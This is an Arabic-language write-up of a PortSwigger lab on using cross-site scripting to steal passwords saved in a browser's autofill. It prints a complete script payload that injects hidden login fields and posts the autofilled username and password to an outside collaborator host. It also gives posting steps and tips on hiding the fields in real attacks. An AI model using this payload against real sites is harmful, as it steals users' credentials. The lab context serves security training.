استغلال XSS لسرقة كلمات المرور: كيف تخدع مدير كلمة السر في المتصفح؟ 🔑🕵️♂️
مرحباً بكم من جديد! اليوم سنتعلم كيف نستغل ثغرة الـ XSS ليس فقط لتنفيذ أوامر، بل لبناء نموذج تسجيل دخول وهمي يخدع الضحية، أو الأهم من ذلك، يخدع "مدير كلمات المرور" (Password Manager) في متصفحه!
لاب اليوم من PortSwigger هو:
Exploiting cross-site scripting to capture passwords
سنعتمد اليوم على قدرة JavaScript في التلاعب بالـ DOM لإنشاء حقول إدخال تجعل المتصفح يقوم بملئها تلقائياً بالبيانات الحساسة. لنبدأ! 🚀
🔍 فكرة الهجوم: خداع الـ Auto-fill
معظم المستخدمين يعتمدون على المتصفح (Chrome, Firefox) لحفظ كلمات المرور. المتصفح يبحث عن أي حقل <input type="password"> داخل الصفحة ليقوم بملئه تلقائياً بمجرد تحميل الصفحة.
خطة الهجوم هي حقن كود XSS يقوم بإنشاء نموذج (Form) مخفي يحتوي على حقل اسم مستخدم وكلمة مرور. المتصفح سيضع البيانات فيهما "بإخلاص"، ثم نقوم نحن بإرسال هذه البيانات إلى سيرفرنا الخاص.
🛠️ الـ Payload القاتل (The Phishing Payload)
سنقوم بحقن كود JavaScript يقوم بإنشاء النموذج وقراءة البيانات منه بمجرد أن يملأها المتصفح:
<script>
function capture() {
var user = document.getElementById('username').value;
var pass = document.getElementById('password').value;
fetch('https://YOUR-COLLABORATOR-ID.oastify.com', {
method: 'POST',
mode: 'no-cors',
body: 'User: ' + user + ' | Pass: ' + pass
});
}
document.write('<input type="text" id="username">');
document.write('<input type="password" id="password" onchange="capture()">');
</script>
لماذا هذا الكود عبقري؟
1. document.write: تقوم بزرع حقول الإدخال في الصفحة.
2. Auto-fill: بمجرد ظهور الحقول، سيقوم متصفح الضحية بوضع بياناته فيها تلقائياً.
3. onchange: بمجرد أن يملأ المتصفح الحقول، سيتم تفعيل الدالة وإرسال البيانات لـ Collaborator.
📝 خطوات الحل العملية
- افتح Burp Suite وانسخ الرابط الخاص بك من Collaborator.
- اذهب لقسم التعليقات في اللاب وحقن الـ Payload المذكور أعلاه (تأكد من استبدال الرابط برابطك).
- اضغط Post Comment.
- انتظر قليلاً حتى يقوم "الضحية" (الذي لديه كلمة مرور محفوظة) بمشاهدة تعليقك.
- ارجع لـ Collaborator واضغط Poll now.
النتيجة: 💥 ستجد طلب POST يحتوي في الـ Body على اسم المستخدم وكلمة المرور الصريحة (Plain Text) للضحية! مبروك، لقد حصلت على المفتاح الذهبي.
💡 نصيحة صياد (The Thief's Logic)
- التخفي: في الهجمات الحقيقية، نجعل الحقول
hiddenأو نضعها خارج شاشة الرؤية باستخدام CSS لكي لا يلاحظ المستخدم وجودها. - الأهداف الحساسة: هذه الثغرة تكون مدمرة في صفحات تسجيل الدخول أو صفحات تغيير الإعدادات.
- الوقاية: كباحث، تنصح الشركات باستخدام Content Security Policy (CSP) لمنع تنفيذ السكريبتات الخارجية أو إرسال البيانات لسيرفرات غير موثوقة.
🚀 الخاتمة
الحصول على الـ Cookies رائع، لكن الحصول على كلمة المرور هو انتصار كامل. هذا اللاب يثبت أن الـ XSS ليس مجرد "إزعاج"، بل هو أداة تجسس وسرقة بيانات من الدرجة الأولى.
.png)